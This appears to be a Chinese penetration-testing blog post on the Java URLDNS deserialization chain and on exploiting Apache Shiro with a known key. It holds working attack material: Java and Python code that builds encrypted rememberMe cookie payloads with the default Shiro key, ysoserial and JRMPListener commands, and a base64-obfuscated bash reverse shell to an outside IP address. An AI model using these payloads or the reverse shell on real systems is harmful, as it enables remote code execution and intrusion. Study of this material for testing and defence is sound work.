URLDNS链简介与Shiro有key无链利用

URLDNS链简介&Shiro有key无链利用&复杂请求下的Shiro反序列化

https://www.cnblogs.com/leyilea/p/18426070

https://www.cnblogs.com/gaorenyusi/p/18232899

1.URLDNS链简介

URLDNS链是其中一种利用方式,主要用于探测是否存在反序列化漏洞,因为它通常不会执行恶意代码,而是通过触发与远程服务器的DNS请求来确认漏洞的存在

  • 用途:常用于黑盒测试中确认反序列化入口点。
  • 优点:无害、稳定、跨 JDK 版本兼容性好。
  • 核心类:java.net.URL + java.util.HashMap
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
graph TD
    A[攻击者构造 URL 对象<br/>http://attacker.dnslog.cn] --> B[ URL 作为 key 放入 HashMap]
    B --> C[序列化 HashMap 为字节流]
    C --> D[发送 payload 到目标系统]
    D --> E[目标调用 ObjectInputStream.readObject()]
    E --> F[HashMap.readObject() 重建哈希表]
    F --> G[对每个 key 调用 hash(key)]
    G --> H[key.hashCode() 被调用<br/>(key  URL 对象)]
    H --> I[URL.hashCode() 执行]
    I --> J[ hashCode == -1,<br/>调用 handler.hashCode()]
    J --> K[触发 InetAddress.getByName(host)]
    K --> L[发起 DNS 查询到 attacker.dnslog.cn]
    L --> M[攻击者通过 DNS 日志确认漏洞存在]
HashMap.readObject()
 └─ HashMap.putVal() (重建键值对)
     └─ 调用 key.hashCode() key  URL 对象)
         └─ URL.hashCode()
             └─ URLStreamHandler.hashCode()
                 └─ InetAddress.getByName(host)  DNS 查询!

1.首先HashMap实现了序列化接口,并且重写了readObject方法,我们知道,在反序列化时如果你自己重写了readObject方法,那么这个方法在反序列化时是会默认执行的,所以HashMap是一个天然的入口类,并且hashMap在反序列时会调用hash(key)方法

hash(key)方法作用:因为 HashMap 在反序列化时需要重建哈希表,所以会对每个 key 调用 **hashCode()** 来计算桶位置。

img

这个方法如果key不为null,则会调用key.hashCode方法

img

2.而URL的hashCode方法是被重写过的,如果hashCode不为-1,则会直接返回hashCode,如果hashCode为-1,则会执行handler.hashCode这个方法,这个方法会对外发起请求

img

3.所以URLDNS这条链需要2个必要条件

  1. URL在HashMap中要作为key值存在,否则不会调用key.hashCode这个方法,所以你的HashMap结构得为以下格式
1
HashMap<URL, Integer> hashMap = new HashMap<>();
  1. URL的hashCode必须为-1,默认hashCode就是-1,但是我们在序列化时如果hashCode为-1,则会发起请求,我们不想要序列化时发起请求,那么就需要使用反射先修改hashCode的值,在序列化之后反序列化之前修改回来即可
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Serializable {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL, Integer> hashMap = new HashMap<>();
        URL url = new URL("http://9shx7ajt.dnslog.pw");
        Class<? extends URL> urlClass = url.getClass();
        Field hashCodeField = urlClass.getDeclaredField("hashCode");
        //通过反射修改hashCode的默认值,让他序列化时不发起请求,反序列化时才发起请求
        hashCodeField.setAccessible(true);
        hashCodeField.set(url, 123);    //修改值不为-1即可,防止误触发DNS
        Object put = hashMap.put(url, 1);
        hashCodeField.set(url, -1);     
        serialize(hashMap);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
}
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

public class unSerializable {

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        unSerialize("ser.bin");
    }

    public static Object unSerialize(String fileName) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        Object o = ois.readObject();
        return o;
    }
}

也可以使用https://github.com/0ofo/Deswing这个工具生成序列化好的文件检测是否存在反序列化漏洞

img

ysoserial生成URLDNS链

1
java --add-opens java.base/java.net=ALL-UNNAMED -cp ysoserial.jar ysoserial.GeneratePayload URLDNS "http://9shx7ajt.dnslog.pw" > urldns.bin

2.Shiro打DNSlog链(常用于有key无链)

https://cn-sec.com/archives/2673175.html

https://github.com/wyzxxz/shiro_rce_tool

https://mp.weixin.qq.com/s/5JP-lS9ty-vb-kK2IIn6xA?scene=1&click_id=3

2.1.如何确认爆破的Shiro key是正确的

当Shiro的key是错误的时候,响应包中Set-Cookie返回的是deleteMe

img

当Shiro的key是正确的时候,响应包中的Set-Cookie返回的是JSESSIONIDimg

目前这个靶场正好是有key无链

img

2.2.Shiro打有key无链

https://mp.weixin.qq.com/s/EFAeVY2lRcAkEEt7AmNxGA

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import sys
import os
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    java_path = r'C:\Program Files\Java\jdk1.8.0_202\bin\java.exe'
    jar_path = 'ysoserial-all.jar'

    if not os.path.isfile(java_path):
        raise FileNotFoundError(f"Java not found: {java_path}")
    if not os.path.isfile(jar_path):
        raise FileNotFoundError(f"ysoserial JAR not found: {jar_path}")

    popen = subprocess.Popen(
        [java_path, '-jar', jar_path, 'URLDNS', command],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE
    )
    stdout, stderr = popen.communicate()

    if popen.returncode != 0:
        print("❌ ysoserial 错误:", stderr.decode(), file=sys.stderr)
        sys.exit(1)

    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(stdout)
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("Usage: python shiro_dns.py <dnslog-domain>")
        sys.exit(1)

    try:
        payload = encode_rememberme(sys.argv[1])
        print("rememberMe={}".format(payload.decode()))
    except Exception as e:
        print("Error:", e, file=sys.stderr)
        sys.exit(1)
python shiro_dns.py http://iugo8gzykflz3hg532wtgc9cw32uqpee.oastify.com

img

将生成的remember发送数据包

img

DNS成功接收到响应

img

2.3.利用shiro_tool工具打有key无链

1
java.exe -jar C:\Users\24767\Desktop\shirotool.jar http://127.0.0.1:8088/

img

URLDNS链

img

img

CommonsCollectionsK3链

img

img

JRMPClient链

https://github.com/woodpecker-framework/ysoserial-for-woodpecker

1
"C:\Program Files\Java\jdk1.8.0_202\bin\java.exe" -cp "D:\FOXTOOLS\gui_scan\ysoserial\ysoserial-for-woodpecker-0.5.2.jar" me.gv7.woodpecker.yso.exploit.JRMPListener 1238 CommonsBeanutils2_183 "raw_cmd:ping ob3uhlevm6txi25qbta5bjae359wxn2br.oastify.com"

不一定能利用成功的,也要看目标JDK版本和具体依赖

ysoserial 及其变种(包括 WoodPecker 定制版)的大多数 gadget 链(如 CommonsCollections、CommonsBeanutils、Jdk7u21 等)严重依赖 JDK 内部类(如 TemplatesImpl、AnnotationInvocationHandler),而这些类在 Java 9+ 被模块系统(JPMS)限制或移除,导致链子失效

img

img

1
2
//反弹shell
java -cp ysoserial-for-woodpecker-0.5.2.jar me.gv7.woodpecker.yso.exploit.JRMPListener 1445 CommonsBeanutils2_183 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIxLjEyNy45MC82NzY3IDA+JjE=}|{base64,-d}|{bash,-i}

3.复杂请求下的Shiro反序列化漏洞

前段时间项目上碰到了几个复杂请求下的Shiro,目标环境:SpringBoot搭建的微服务项目,使用Resultful设计模式。

Burp插件扫描出网站使用Shiro框架,使用Shiro_attack工具进行探测,工具设置为GET请求能探测出存在Shiro框架,但是爆破不出密钥,设置为POST请求无法探测出存在Shiro框架

img

后来拿登录成功后的数据包进行发包探测,加上了token请求头和POST数据体才能探测出存在Shiro框架,但是这款工具有个Bug,就是工具默认使用的Content-Type为application/x-www-form-urlencoded,但是目标网站是Json传输,所以一直识别不了Shiro框架,后来想到一个法子,利用Burp的匹配和替换,将所有数据包请求头中的application/x-www-form-urlencoded替换为text/json,成功解决问题。工具挂上代理后成功爆破出Shiro的key

img

By Lsec
最后更新于 Dec 06, 2025 14:35 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ